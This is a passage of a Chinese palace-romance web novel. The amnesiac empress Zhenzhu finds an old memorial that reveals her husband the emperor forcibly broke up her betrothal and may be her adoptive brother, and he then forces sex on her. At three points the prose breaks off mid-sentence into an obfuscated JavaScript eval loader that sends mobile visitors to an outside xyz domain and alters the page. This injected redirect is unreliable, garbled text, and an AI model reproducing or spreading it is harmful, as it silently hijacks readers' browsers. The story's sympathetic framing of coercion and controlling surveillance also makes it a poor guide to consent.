哪怕是夜里惊梦,他梦见的也应该是他的锦绣江山、九州四海。
可是唯独有一件心事,让他时至今日都无法释怀。
——那就是媜珠的心。
媜珠的心里没有他,她不爱他,她爱的是旁的男人。
他可以掌控她的人生,得到她的身体,可以永远把她关在他给她设置的金丝笼里,唯独掌控不了她的心。
这挫败感让他数年来不止一次地感到无奈,无能为力的愤怒,继而越发坚定了他要弄死张道恭的决心。
周奉疆压下喉间的那些苦味,呼出一口浊气。
终有一天,他要杀了张道恭,他也会和媜珠有他们自己的孩子。
一切都会好起来的。
*
今年是皇帝在长安登基后过的第二个年,其实也是媜珠第一次履行皇后的义务,开始好好地筹划起一个寻常像样的年节该怎么十全十美地过完。
皇帝去岁十月末在长安登基,并定于翌年正月初一改元。
所以,龙章元年的正月初一新年,对于这个崭新的帝国来说,有着非同寻常的象征意义,媜珠身为皇后,并没有插手管过太多,更多是三省里的那些官员们七手八脚地筹谋着该做什么又做什么。
而马上到来的龙章二年的正月新年,则第一次被交到了媜珠的手里。
这算是给她在无趣的深宫生活里添了一点新的期盼,她最近开始变得很忙,有时一整日都在不停地接见着内司省里的各种女官宦官们,和他们商议着诸多事宜。
小到一盏蜡烛该在宫宴上添置几多,大到正月新年她与皇帝一同祭祖时该着何等礼衣,当然也还包括宫里宫外的宫婢奴仆、文官武将、宗亲族戚该如何赏赐等等。
大部分时候,媜珠都主张这些礼制规格可以延用前楚时候的先例,若是偶尔有几例前楚宫廷内不合如今大魏时宜的旧俗,改一改也不算麻烦,这样既省事又不会出错,叫长安城里的旁人看了笑话。
皇后都这么说了,内司省的人自然也是满口奉承,没有半点异议。
媜珠既然想到了这上头,有天夜里,她便和皇帝提议起要去翻翻那些前楚时候留下来的那些宫廷账目单子,正好也对一对他们如今过节可有什么要增添删减的东西。
前楚定都于洛阳,几年前亡国之君张道恭仓皇弃城而逃的时候,在洛阳城里留下了大堆的政务诏令文书奏札、珍稀的藏书古籍、宫廷采购单目账本等等各种琐碎复杂的文书。
后来好几任粗鄙武人都曾攻入过洛阳城,他们无一例外地都对这些看得人眼晕的书纸没有丝毫兴趣,只想着一遍遍搜刮洛阳城里留下来的金银财帛。
至于如今洛阳的主人,皇帝周奉疆……说实话也算是半个粗俗武人,对这些也是不感兴趣,甚至为了把洛阳宫殿腾出来给媜珠养牡丹花,还曾经叫人把堆放在宫殿里的那些书纸全都给烧了了事。
还是他的一堆幕僚们苦苦相劝,说这些文书都是见证了前楚衰亡历史的最大见证,是他们往后要替前楚编写国史的有力证物,里面连前楚皇帝一个月吃几个鸡蛋、换几件衣裳、睡几个妃子都记得清清楚楚。
主公您糊涂啊!您怎么能为了讨好女人、给女人腾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640962|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地方养花,就把这些东西给烧了呢?
周奉疆看他们一脸要死要活的样子,把这些破纸都当宝贝似的,也就没说什么,让他们留下来了。
——不过这些,媜珠也不知道就是了。
后来这些他眼中的破纸,又被一批批运到了他的国都长安,被那些史官们隔三差五进去翻阅取材,编写前楚国史。
如今,媜珠向他提出说,她也想看一看它们。
*
周奉疆起先是一愣,他不停地思索着那些破纸里头有没有什么不能让媜珠看见的东西。
然而当对上媜珠那双充满期待的、亮晶晶的眼睛,那句答应的话也不由得直接说了出来。
于是他想,这也没什么,一堆破纸而已,让她看看就看看了,能兴出什么风浪来?
大不了,明日他再叫人将那些堆积如山的书纸大致检查一番,把那些带有可能会刺激到她的任何字眼的书纸全都藏起来就是了。
皇帝既答允,之后的几日里,媜珠时常出入宣室殿里,去宣室殿后偏殿那修建得十分恢弘的藏书殿里翻找一些前楚时候留下的有用的东西。
这件事让她感到十分有趣,因为总是能在这些浩瀚杂乱的文书里寻到些新奇的玩意儿。
比如夹在某本前楚官员奏札里附上来的,竟然是他献给皇帝的一张食谱,里头洋洋洒洒写着该怎样炖鱼汤炖得香气酥人。
又或者夹在前楚的内司省账目里头的,是一份时下宫女们吃穿用度开销的账单,里头还写着当时的宫女们喜欢佩戴一种精巧的绒花,每个月都要给自己添置一两朵。
还有她翻到的从一百多年前某个当朝宠妃宫里留下的花销流水册子,里头也夹了一张纸,写着这位当时的宠妃最喜欢调配的一种香料的方子。
媜珠在这里头察觉到了前所未有的生动的活气,仿佛这些人一一曾经活在她面前过一样。
她会学着那食谱做一份同样的鱼汤端给皇帝尝尝,问皇帝,这江南官员呈上来的鱼汤食谱合不合他的胃口。
皇帝则会微笑说,只要是媜媜做的,便合朕的心意,哪怕那食谱里加一味砒霜,朕也心甘情愿服下。
媜珠便会倚在他怀里娇艳地笑,而后被他打横抱起,送到榻上。
她也叫人按那前楚宠妃的香料方子制出香来,把香料填进她寝殿的香炉里,点燃后,轻轻嗅着这来自一百多年前的甜香,然后撒娇问皇帝说,昔年前楚的余贵妃靠此香而盛宠不衰,妾如今学来此法,陛下闻了此香,是否也会永远宠爱妾呢?
左右无人时,皇帝会漫不经心地伸手挑开她的衣领,埋首嗅着她胸口的香气,心猿意马地说,那香味不如你这处香。
在这些片刻的光阴和欢愉里,媜珠忽然又会觉得,她其实和皇帝还是很恩爱的。
如果忘却那些短暂出现在她生活里的疑点,忘记她对皇帝的那些怀疑,皇帝其实一直很宠爱她,而她……就算说不上多爱他,她也不排斥和他的亲近、欢好。
直到有一天,她在那堆书山纸海里,发现了另一张纸的出现。
这也是一份前楚官员的奏章,但是这张破旧的奏章已经变得不完整了,媜珠看到的,只有被扯下来的半卷残篇。甚至这半卷残篇里,有许多的字迹都模糊得看不清了。
仿佛就是在这样一个平常的午后,上一刻,她还在想着她今天又能从这里寻到什么好玩的东西时,下一瞬,这张纸就无声无息地不知从哪个角落里,飘到了她的面前。
媜珠捡过这张纸,起先只是心不在焉地瞥了一眼,然后她便一下警觉地顿住了自己的呼吸。
这张纸里写着,
“臣某氏某人,今任何官职云云,奏陛下曰……
冀州节度使周奉疆于天子大不敬已久,陛下许嫁俪阳公主之孙女、先冀州侯周鼎第三女与河间王殿下,臣听闻河间王赴洛阳,欲携周氏女……周奉疆欺辱河间王妃,况其身为兄长,欺辱幼妹,本就有乱人伦……周奉疆竟自恃兵马,将河间王踹于马下,殴打河间王……公然手持陌刀、胆大包天……意欲谋害河间王……圈禁河间王妃……
……
臣奏请天子发兵征讨冀州逆贼周奉疆。”
媜珠在看完后,断断续续拼凑出了这份奏章里的意思。
她的大脑忽然一片空白。
20. 第 20 章
首先跃入媜珠眼帘的两个字,是“陌刀”。
陌刀,双刃长柄,唐刀四制之一,长约一丈,其重可达二三十斤,威慑力极强,形似汉时的斩马剑,多为步兵所用,可守城、可监斩、更多用来对付骑兵。
善使陌刀者,可以仅凭一人一刀砍得来犯敌军人马俱碎。
这样的军刀总是会出现在尸骸遍野、狼烟弥漫的战场上,而媜珠不论出嫁前还是成婚后,都是被人养在锦绣深堆的重重庭院内的一只金丝雀鸟,不识人间疾苦,不知战火残酷。
她本来不应该识得这样的东西。
后来此物之所以在她脑海中留下较为深刻的印象,前是因为她的丈夫,后是因为她的一个梦。
*
先时,在她刚失忆后不久,她便嫁给了她的丈夫周奉疆,为了了解她和她丈夫的过去,她曾经向很多人都询问过有关她丈夫的事情。
很多人都告诉她说,她的丈夫周奉疆极善使陌刀,他当年就是凭借这功夫在养父周鼎的军营里得到众人信服,渐渐竖起的威望。
周鼎那时的大本营虽然在冀州,但是整个北地大半州郡都在他的掌控之下,包括位于边疆一带幽州、营州之地。
而这些位于更北边的幽州、营州城下,则时常有突厥、奚人、契丹人骚扰进犯。
皇帝的陌刀功夫,就是在对付这些胡人南下进犯时练出来的。
之后,他甚至还练就了一身极佳的马上陌刀,在战马上手持丈长的巨刀,能追杀胡人百里而不倦怠。
前楚时,代宗至宁十七年冬十二月,奚族王子术里再度率本族精锐骑兵骚扰劫掠营州城,营州百姓苦不堪言,时为北方霸主、营州主人的先冀州侯周鼎勃然大怒,令养子周奉疆领冀州骑兵去营州驱逐奚人。
周奉疆当夜自冀州出城前往营州,三日三夜不眠不休一口气直抵营州城,至营州后,仅命部下及战马休整了一夜,翌日破晓,他便领部下出城驱逐奚人,将奚人逐出营州边疆百余里远,并且在马上用陌刀砍下了奚族王子术里和术里所骑战马的脑袋。
人马俱碎。
奚人残军败将见王子被杀,不敢久留,当即仓皇而逃。回到奚部后,因保护王子不利,这些侥幸逃回的残军又被奚人酋长斩杀。
后,奚人皆人心惶惶,至今不敢再犯营州城一步。
而那个凛冬飘雪的时节里,周奉疆将术里及其战马的脑袋悬于自己的马后,回到了营州,取下这一人一马的脑袋扔给营州城门守将,叫他们挂在城门上示众。
当时营州一带还广为流传着两句俗语:
“将军雪中行,夜逐胡百里。马后悬双头,上马立陌刀。”
前楚的代宗皇帝听闻此事后大喜,乃亲召周奉疆至洛阳嘉奖他。
据说,当时的代宗皇帝在洛阳宫内见到周奉疆后,先是大喜大赞,亲抚其背曰:“此子可显贵于北地,乃朕北地万民之幸。”
然而,等周奉疆离开洛阳回到冀州后,代宗皇帝忽然又在一个深夜里颓然惊醒,懊悔不已地对身侧的宠妃说:“朕竟愚钝至此,竟没能将他杀于洛阳!朕百年后必有大失!北地有一个周鼎,便已是插在朕心头的一根大刺,如今此人,恐怕来日还要胜于其养父的!”
——媜珠身边的人之前常常眉飞色舞、得意洋洋地把这个故事讲给她听,一遍遍地告诉她,她的丈夫是何等的身量颀伟,俊挺如山,骁勇善战。
不过那时,媜珠对这把常常跟随在她丈夫身边的陌刀,也仅有一个模糊的印象而已,她曾经在她丈夫的书房里见过这把刀,但也只是看了几眼罢了。
直到两三个月前,她迷迷糊糊中所做的那个不知所谓的朦胧梦境里,她才对此刀的可怕之处有了更清晰的认识。
梦中那个手持陌刀、骑于马上的男人——她并不认为这是她娘家的哪一个兄长,曾经用这把刀砍碎过她的花轿,也曾用那寒冷的刀尖抵在她的喉间抬起她的下巴。
那是她如今所能认识到的最深刻的恐惧。
许多事情,哪怕之前心中已经有了一个模糊的影子,但她还是下意识地并不愿意去往那个方向想。
比如她之前就意识到过,不论是她娘家的哪一个兄长,不论这个兄长对她的婚事有过多大的怨言和不满,他都不能做到在马上手持陌刀砍人。
但是,直到如今,她才不得不戳破了那层自欺欺人的假象,不得不告诉自己,在她所能接触到的男人里面,唯一能做到如此的,其实只有她的丈夫。
皇帝周奉疆他自己。
如果他真的在她的那个梦里充任了一个角色,那他也绝不应该是那个窝窝囊囊被人踢踹殴打的新郎,更像是……那个令她胆寒畏惧的匪徒。
毕竟,按照此人奏章中所说,当年皇帝就曾这样对待过前楚的这位河间王。
这个认知让媜珠目前脑海中所能认知到的世界出现了前所未有的再度崩塌。
她恍惚间就忽然发现,她的世界里出现了一道错误的裂缝,似乎许多的东西都变得错位,也根本无法得到任何合理的解释。
可是,到底……为什么会这样?
媜珠的指尖发颤,将那张破败的奏章来回看了又看,很快再度捕捉到了另一个应当让她重视的信息。
周鼎第三女,河间王殿下,许嫁。
周三娘子,也就是赵太后亲生的兖国文公主,曾经是河间王的未婚妻。
而那位河间王,不就是前楚的亡国之君么?
此人的奏章中曾经说过,皇帝周奉疆极力阻拦过兖国公主和河间王的婚约,是他违抗兖国公主、河间王乃至当时前楚皇帝的赐婚旨意,破坏了兖国公主本应顺顺利利嫁给河间王的婚事。
如果不是他的从中作梗,那个死在娘家还未来得及出嫁的兖国公主,现在应该也是前楚的末代皇后了。
对了?
皇帝为什么要阻挠公主和河间王的婚约?
他和公主是什么关系?
似乎……也是兄妹呢。
*
“娘娘!”“皇后娘娘!”
“娘娘,您怎么了?”
媜珠的思绪再度被身边宫人们的呼唤声打断。
她下意识地把手中的那张纸藏进了袖子里,抬头时又觉得眼前隐隐有一阵眩晕,像是午后的日光将殿内的一切都蒙上了一层金色的雾气,让她几乎看不清眼前的一切。
听到宫娥们关切的询问声,媜珠愕然垂首看向自己的双手,却见自己的双手颤抖不停,指尖有些发白,摸上去已是一片冰凉。
有了上次在宣室殿当场昏迷过去的经历后,媜珠这一次竭力不想在人前表现出失态。
她努力露出一个安然的微笑,轻声说:“本宫无事,你们各自去忙你们的事吧。”
宫人们仍是不敢轻易离开,皆一动不动地继续守在她身边。
媜珠感到一重又一重的乏力席卷全身,斟酌须臾后,她便借口有些困顿倦乏,想要回椒房殿内休息一下。
宫人们这时才终于应下她的吩咐,将她扶上殿外的鸾轿,带她回了她的寝殿。
媜珠还是强撑着没有在任何人面前表露出更多的异样,那张纸在她的袖口中被她紧紧攥住,她谢绝了佩芝要上来替她更衣的请求,挥退了左右的婢子,只说自己想要歇一歇,不要旁人打扰。
等到众人全都离开后,她双手颤抖着取出了那张被她攥得快要碎裂的纸,亲手将它投进香炉中,看着它一点一点燃成灰烬。
哪怕心中并没有一个确切的理由支撑她这么做,可她就是知道,她必须把它烧掉,烧得干干净净,灰都不剩。
而且绝不能让皇帝给看见。
在媜珠终于看着这张纸变成一堆细细的灰后,她长长呼出了一口气。
几乎就在同一时刻,椒房殿的大门被人猛然拉开,殿内殿外的宫娥们慌忙跪地,口呼陛下,又呼万岁,继而便有一阵急促的脚步声传来。
媜珠好不容易露出的一点微笑,也凝固在了脸上。
皇帝步履急切地踏入殿内,衣袂翻飞,腰间十三环蹀躞金玉带下缀着的玉佩金环晃动不止。
媜珠的神情却几乎是呆滞的。
她愣愣地站在香炉边,看着皇帝向她大步走来,把她紧紧地抱进怀中,然后语带焦躁地问她:“媜媜,你怎么了?告诉朕,你怎么了?”
许久之后,媜珠才缓过神来,她抬首望着神情慌乱的皇帝,她几乎从未见过他有这样不安的时候。
他又这样紧张了。
他果然对她的一举一动都了如指掌,恐怕她刚刚在宫婢们面前出现了片刻的失神时,那些婢子又跑去一五一十地向皇帝汇报了她的所有反常之处。
她忽然觉得十分厌烦,厌烦他对她的掌控和监视,厌烦了这种没有自由的日子。
而后,她内心竟升起了一股名为反骨和桀骜的情绪,有些挑衅和试探地直直望着皇帝的眼眸:“陛下……是害怕臣妾会变成什么样么?那陛下究竟怕臣妾会变成何样呢?陛下,您一直以来,究竟都在害怕什么?”
周奉疆因她的反问当场错愕。
他面上的慌乱神情慢慢敛去,取而代之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640963|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的是对她问出这个问题的难以置信。
她没有回答他的问题,而是对他反问。
他并不是因为帝王的威严被女人的冒犯而愤怒,而是在这一瞬间,看着她的眼神,她的神情,乃至她下巴扬起的一模一样的弧度,都让他想起了从前那个和他水火不容、如同死敌般的周媜珠。
*
上一次她对他露出这样的神情,是在什么时候呢?
周奉疆恍惚间想到了,当年,她坠楼失忆前的那个晚上。
他们两人再度独处一室,他依旧是劝她顺从他,乖乖地永远留在他身边,他会永远保护好她。
他也算是苦口婆心地极言规劝她说,张道恭既给不了她安稳的未来,也给不了她荣华的生活,更不能给她一生一世一双人的忠贞不二。
那张家的江山,眼看着就是要倒下了,她在这个节骨眼上还非要跑去跟张道恭厮混在一处,想着当什么河间王妃还是太子妃,其实满打满算要不了五年,肯定都得当亡国奴,恐怕要跟着张道恭一起去要饭。
他一再问她:“这就是你想要的么?这就是你选了个男人、想要跟着他去过的日子?”
媜珠抬眼看他,眼神倨傲:“我从来都不是嫌贫爱富、贪慕虚荣之辈。跟着他,不管是过什么样的日子,我皆心甘情愿,永世无悔。”
周奉疆当场就被她气笑了。
后来两人又争吵了几句,他一时气急,将她拖过来按在了那张梳妆台上亲吻起来,媜珠拼命抓他咬他,他迫不得已放开了她,还有些恶劣地挑逗一般抚了抚她的脸颊,恨得咬牙切齿:
“就这么烈性?你兄长碰一下都不行?如果是张道恭……是不是就怎样都行了?周媜珠,你告诉我。”
媜珠从梳妆台上起身,后退了几步,和他拉开了些距离,凝神细细看了他许久,而后别过了头去,一声不吭地开始解起了自己衣襟上的扣子。
绣满牡丹孔雀的华美蜀锦裙摆轻曳坠地,下面是她雪白的中衣,再下面一层,几乎便是最后蔽体的贴身里衣了。
媜珠对上他错愕的眼神,微微扬着下巴,桀骜地看着他:“你总是问我想要什么,可是我想要的,你从来都没有给我。不过,我似乎还没有问过你想要什么。”
“阿兄,你想要的是什么呢?就是这个吗?”
“是不是就是我的这具皮肉?那我给你,可以么?我给你,你放我走,放我去见河间王,可不可以?”
周奉疆也愣住了。
就在他愣住的片刻,媜珠忽然在他眼皮子底下冲了出去,从二楼的栏杆上一跃而下,完全是奔着寻死去的。
她对他说的最后一句话是,
——你做梦吧。
我永远都只属于河间王,永远都不会和你行此下贱乱人伦之事。
那她为什么要在他面前脱下那条蜀锦做的裙子?
因为那条裙子,是他送给她的,是他逼着她穿的。
哪怕是寻死,她也绝不要穿着他给她的衣裳去死。
这些事情,哪怕时隔多年再想想,也仍旧让他的心痛到千疮百孔。
*
在周奉疆的面前,过往和现在的记忆在一瞬间重叠,他看着怀中的媜珠,也觉得前所未有的不真切。
自己心爱的女人,若是有点脾气很正常,爱耍小性子也完全无可厚非。
可他恨她的桀骜,恨她的反骨,恨她永远都不懂他的苦心,不懂他对她的爱。
明明一直以来是他在守护她,护着她,也护着她的母亲、她的外祖一家,他对她穷尽心思讨好,到头来换得的却是她对他的提防和不信任。
周媜珠,你去翻翻你看过的那些史书,有哪个男人、哪个皇帝,可以为自己的女人做到这个份上的?到底有谁能比我更爱你?
张道恭什么都没为她做,他甚至转身回了洛阳就有一堆妃妾宫嫔,有一堆女人,可她反而还是放不下他。
周奉疆没有回答再回答媜珠,他将媜珠一把抱起,步入内殿帷帐后,掀起床帘,将她扔在了那种偌大的床榻上。
榻上被褥柔软如云,媜珠并没有被摔痛,可是这个动作本就十分粗鲁,他从前是不会这么对待她的。
媜珠艰难地从榻上爬起来,双膝跪在被褥上,双手也撑在床沿处,头颅一阵一阵地晕眩,还不等她直起身体,皇帝便从她身后覆压下来,将她拖入了锦被之间。
她似是低声抽泣起来,皇帝拔去她如云鬓发间的金簪玉钗,看着她满头乌发似浓雾般倾泻而下。
“乱动什么?朕碰不得你?”
21. 第 21 章
跟他的这些年里,她在床榻上是没吃过什么大苦头的。
虽然大部分时候他对她索求颇多,叫她的身子有些吃不消,直到第二日还要没精打采地躺在榻上歇着,但总归他对她还是温柔的,呵护的。
她对此也并没有太多的怨言。
可是这次不一样。
媜珠狼狈地跪趴在锦被上,纤薄的脊背好几次颤颤巍巍地想要直起身来,都被皇帝一只手按了下去,将她整个人死死按在被褥间。
她不知道是在什么时候哭了出来,是没有声响的哭,只剩下眼泪在流,一滴滴静静湮没进丝被里,在浅荷色的布料上洇出一片圆圆的水渍,像一朵无声在凋谢的娇花,渐渐垂下了枝头。
媜珠只觉得又是一阵头晕目眩,仿佛头颅里只剩下一片寂寥的白,如雪落之后寂寥的天地,让她摸不清任何东西。
而皇帝的神智,则似乎也没比她清醒到哪里去。
媜珠原本穿着的繁复精致的华美鸾裙被他随意扯下,随手丢到了床下去,继而身上的衣裙又被层层剥落,最终在他眼前也只剩下一片雪艳的白,是她不着寸缕的雪白的身子,蝴蝶颤翅一样在他掌下轻轻发抖。
在媜珠的记忆里,他似乎从未有过这样待她粗暴的时候,她觉得委屈,她不明白自己究竟做错了什么,为何要招致皇帝如此的惩罚。
此时尚是白日里,皇帝连床帘都懒得拉起,两人纠缠在榻上的姿势完全暴露在外,哪怕这时殿里的宫人们全都退了下去,可媜珠仍旧觉得无比羞耻。
以前不是这样的,以前他从来不会这样对她。
他知道她容易害羞,知道她在宫人们面前抹不开面子,所以每次宠幸她,不论是白日还是黑夜里,总是会细心掩好床帘帐幔,将他们两人在帐内的样子仔细遮好,然后才会去碰她。
她迷迷糊糊地听到皇帝覆在她身上,轻轻吻着她的肩骨和脖颈,咬牙切齿在她耳畔低语:
“周媜珠,我凭什么不能碰你?!这世上有谁还能比我更爱你……”
媜珠觉得自己大概是昏头了,又或许是听错了。
她仿佛听到皇帝唤了她一声“周媜珠”。
可是她不是姓赵么?她不是应该姓赵么?
她怎么会是“周媜珠”呢?皇帝怎么会这样唤她呢?
媜珠迷迷糊糊地想到,也许只是她一时听差了吧。
*
等榻上的动静终于歇下来时,已是这日的深夜了。
皇帝在一番畅快的纾泄后,神智反而格外平静了下来。
他缓缓平复下了呼吸,没有先召宫人进来伺候,自己起身披上了襌衣,而后在榻边坐下,静静地看着媜珠此时的样子。
过度的劳累与折磨后,媜珠伏在丝被上已经再没了一丝力气,像是沉沉睡着了过去。
她背对着他,睡颜仍是不安稳的,眉头轻蹙,紧闭的眼睫上还摇摇欲坠地凝着一颗泪珠,枕上也残存一块还没干透的泪痕。
等到脾气冷静下来了,他望着媜珠身上的大片痕迹,倒是渐渐泛起了一阵心疼。
怎么会不心疼呢?
过去那么多年里,他对她也是真的呵护备至,几时曾让她吃过这样大的苦头?
周奉疆轻轻捏了捏自己的眉心,他觉得他大约是真的被她气昏头了。
今日下午时分,佩芝又有些慌张地过来告诉他,说是皇后在那堆书山纸海的各种文书里不知捡了一张哪来的奏章残篇,一个人盯着那张纸看了许久许久,脸色也很是不对劲。
当时她疑心皇后是不是看见了什么不该看的东西,不慎被刺激到了,便使了个眼色,叫边上的小宫娥上去看看。
谁知那小宫娥才刚准备凑过去,皇后立马反应了过来,下意识将手中的纸藏于袖中,不想给旁人瞧。
这就很不对劲了。
哪怕失忆过一场,媜珠也从未改过以前那温顺柔婉好说话的性子,在宫人们面前更是几乎没有脾气的。
之前的几日里,她有时捡了张什么纸拿在手里瞧,若是遇见胆子大些的小宫娥过去问一声“娘娘在瞧什么呢”,媜珠都会微笑着把手里的书纸递给她们看,偶尔还会多说几句:
“原来前楚时候洛阳宫里的宫女们喜簪绒花为饰,不知道你们喜不喜欢这些花样儿,若是你们也喜欢,等开了春后,本宫也想给你们也按例添置一些。如花似玉的年纪,总归是要打扮打扮的。”
所以这种立马藏着纸不给人看的反应就很不对劲。
佩芝过来是这样告诉皇帝的,周奉疆听罢,哪还管得了手头的其他政务,当即便回了椒房殿去亲眼看了看媜珠。
然后迎接他的就是媜珠的顶嘴和她那又有些冒了刺的反骨脾气。
这些年里,他的确享受了太多她身上的柔顺、听话和美丽,哪里受得了她忽然的变脸?
当时他也是真的被她气急,脑子里的那根弦轰得一下就断了。
等到意识再度回笼时……媜珠在榻上已经连哭都没有什么声响了。
坐在榻边看她看了许久之后,周奉疆去倒了一盏蜜水来,将睡梦中的她从榻上捞了起来,喂她喝了点水。
媜珠还是一副睡不醒又没骨头的样子,但或许是缺水太过,她迷迷糊糊间还是咕咚咕咚地喝着水,喝完后身子一软,又躺倒下去。
这一觉她睡到第二天的午时才醒,且自然又是睡不好的,甚至醒来时还浑身滚烫,意识模糊。
佩芝听得皇后起身的动静,过来服侍皇后穿衣时,见她这样子就心说不好,探手摸了摸皇后的额,果然烫手,便立马打发人去叫医官们过来看看。
*
皇后病了。
昨夜的那一通折腾过后,她发起了高热,陡然病倒了下去,气色也憔悴了不少。
病在她身上,疼的还是周奉疆的心,后悔的也还是他。
他立马又从宣室殿过来陪伴在媜珠身边,亲手喂她喝药、吃饭。
但媜珠大约也有借病冷战的意思,只要他过来,她就立马神色恹恹地躺在榻上背过身去,不理他,也不跟他说一句话。
他问她身上还痛不痛,她也装作听不见,不理睬,而后就一个人枕在枕头上啪嗒啪嗒地掉眼泪,耸着肩膀低声抽泣。
两三个月里,这已经是她第二次生病了,而且每次都跟他脱不开干系。
这自然也是他身为丈夫的失责。
之前周奉疆还在纳闷当天媜珠到底是在宣室殿里看见了什么东西、疑惑她藏起来的那张纸上到底写了什么,但是现在却都无暇过问在意了。
他一连好几日都守在她身边照顾着她,甚至把大半的奏章文书都搬进椒房殿里批阅,也仍然未见媜珠再展颜笑过。
帝后之间生了些不快,有时哪怕宫里的消息压得再死,旁人也是多多少少能瞧得出来的。
媜珠病了的这几天里,宫外的王妃公主们多少也过来看望过她。
颍川公主怀着肚子,身子渐重,不便走动,遂请了自己的弟媳、韩孝直弟韩孝民之妻冯氏入宫一趟,献上了些许礼物,聊表对皇后的关怀。
这天,穆王妃同冯氏正好一块入宫,在椒房殿里碰上了,于赵皇后跟前坐了片刻,关怀了几句皇后的身子还如何之类的话。
皇后病容未消,体态清瘦,美貌却半分未减,哪怕不做妆饰,不施粉黛,那模样看着既憔悴又柔弱的,更能勾得男人怜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640964|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惜。
难怪哪怕她病着,皇帝仍旧日日守着她呢。
呵。穆王妃心下冷笑。
媜珠拢了拢身上披着的雪白狐裘,有些倦乏地靠在美人榻上,先微笑着问了穆王妃几句:“县主现在也快半岁了吧?会爬会坐了么?”
县主即穆王妃几个月前刚生下的那个女婴。
穆王妃欠身答道:“劳娘娘病中还关心这孩子的琐事,是快半岁了,不过还不大会坐,爬么,倒是能爬两下的。”
媜珠点头,眼睛里有了丁点的笑意:“真好。”
她又将视线转向这位颍川公主的妯娌冯氏:“许久未见夫人了。依稀记得夫人膝下也有两子,家里的孩子可好?颍川公主的怀相近来可好?”
或许是天性使然,冯氏的举手投足间倒是带着一股自来熟的热络大方,说话也是毫不扭捏,没有寻常女眷在媜珠跟前小心翼翼的那种做派。
“劳皇后娘娘关怀了,妾也确实许久未见皇后!从前进宫几次,每每都是跟着我家嫂嫂一块来给娘娘请安,嫂嫂总怕我是乡下野妇做派,怕我这样的粗人说话不当心,会冲撞了娘娘,所以不多带我过来……嗐,我家那两个孩子么,好带倒也是好带的,到底不是公主嫂嫂生的凤子龙孙,糙点就糙点罢了,可是孩子糙养,反而不常病呢!我公主嫂嫂生的那大郎,我那大侄儿,宝贝得跟金蛋一样捂着,结果倒是三天两头总是病,秋也病冬也病,一年到头病个没完了……”
……
媜珠脾气素来好,听着冯氏这番家长理短的念叨,哪怕听不下去了,也只是垂眸眨了下眼,并没有打断她。
而穆王妃则没有这么好性,当即有些嫌恶地用帕子掩了掩唇,身子朝一侧侧过去,和冯氏拉开了些许距离。
待冯氏终于口干舌燥地讲完,媜珠脸上的神色还是得体的,也没有对她表达过半分的不满,还温柔地回了她:
“如今韩驸马带着兄弟在交州一带忙着军务,家里的琐事多,夫人难免多操心了。”
冯氏一手端起手边的茶盏饮尽,又“嗐”了一声,“哪里轮到我操心什么呀,家中大小琐事,不都是我那公主嫂嫂说了算么。到底咱们是借住在人家的公主府里的,也不能插手人家公主的事。我呀,也只管好自己那一亩三分地,把自家的孩子带好就是了。”
穆王妃这时的鬓边的太阳穴都已经开始跳动了,她简直不想再坐在这蠢妇边上半刻钟,若不是顾及皇后颜面,她甚至只想转身就走。
她平生何曾见过如此蠢妇?怪道那颍川公主要把这妯娌死死摁在家里,不敢把她带进宫半步!
偏偏那纸糊的架子一样没脾气的皇后,还能好声好气地跟冯氏说上两句话。
“夫人将两个孩子管教得好好的,已然是十分辛苦了。”
一听皇后说起她的两个儿子,冯氏越发起劲,正要多说什么,还好这时皇后身边的佩芝过来了,俯身与皇后说,她今日的汤药快煮好了,马上皇帝会来亲自喂她吃药。
这大约也是说给穆王妃和冯氏听的意思,是替皇后开始撵人了。
穆王妃听得懂这话外之音,赶忙起身要退下,冯氏见状,也只好起身跟着一块出去了。
但,就在转身离开的那一刻,穆王妃瞥见正在和佩芝说话的皇后十分不耐烦地转过了头去,眼神有些烦躁不快,还有浓浓的排斥。
“把我的药端来,我自己会吃,何必劳动旁人……”
穆王妃记住了那个眼神。
她心底生起一股怪异的直觉,她忽然觉得,那样的眼神,应该是属于从前的周媜珠的。
周媜珠……难道是和皇帝闹掰了么?
穆王妃的心头一动。
22. 第 22 章
退出椒房殿,步出宫门的路上,冯氏仍旧叽叽喳喳不停地穆王妃攀谈起来,零零碎碎地说起颍川公主府里的琐事,无外乎都是些鸡零狗碎,说的也都还是颍川公主的坏话,吵得穆王妃头都疼了。
但她又不好当面直接甩了冯氏的脸,只得皮笑肉不笑地应和两声。
这冯氏呢,也不知她是真蠢还是装蠢,竟然真的如同看不懂别人的脸色一般,越说还越起劲,恨不得把她嫂子颍川公主每晚上使几次夜壶都讲给别人听,叫穆王妃在心里都有些同情起颍川公主时运不济,怎么竟招来了个这样的妯娌。
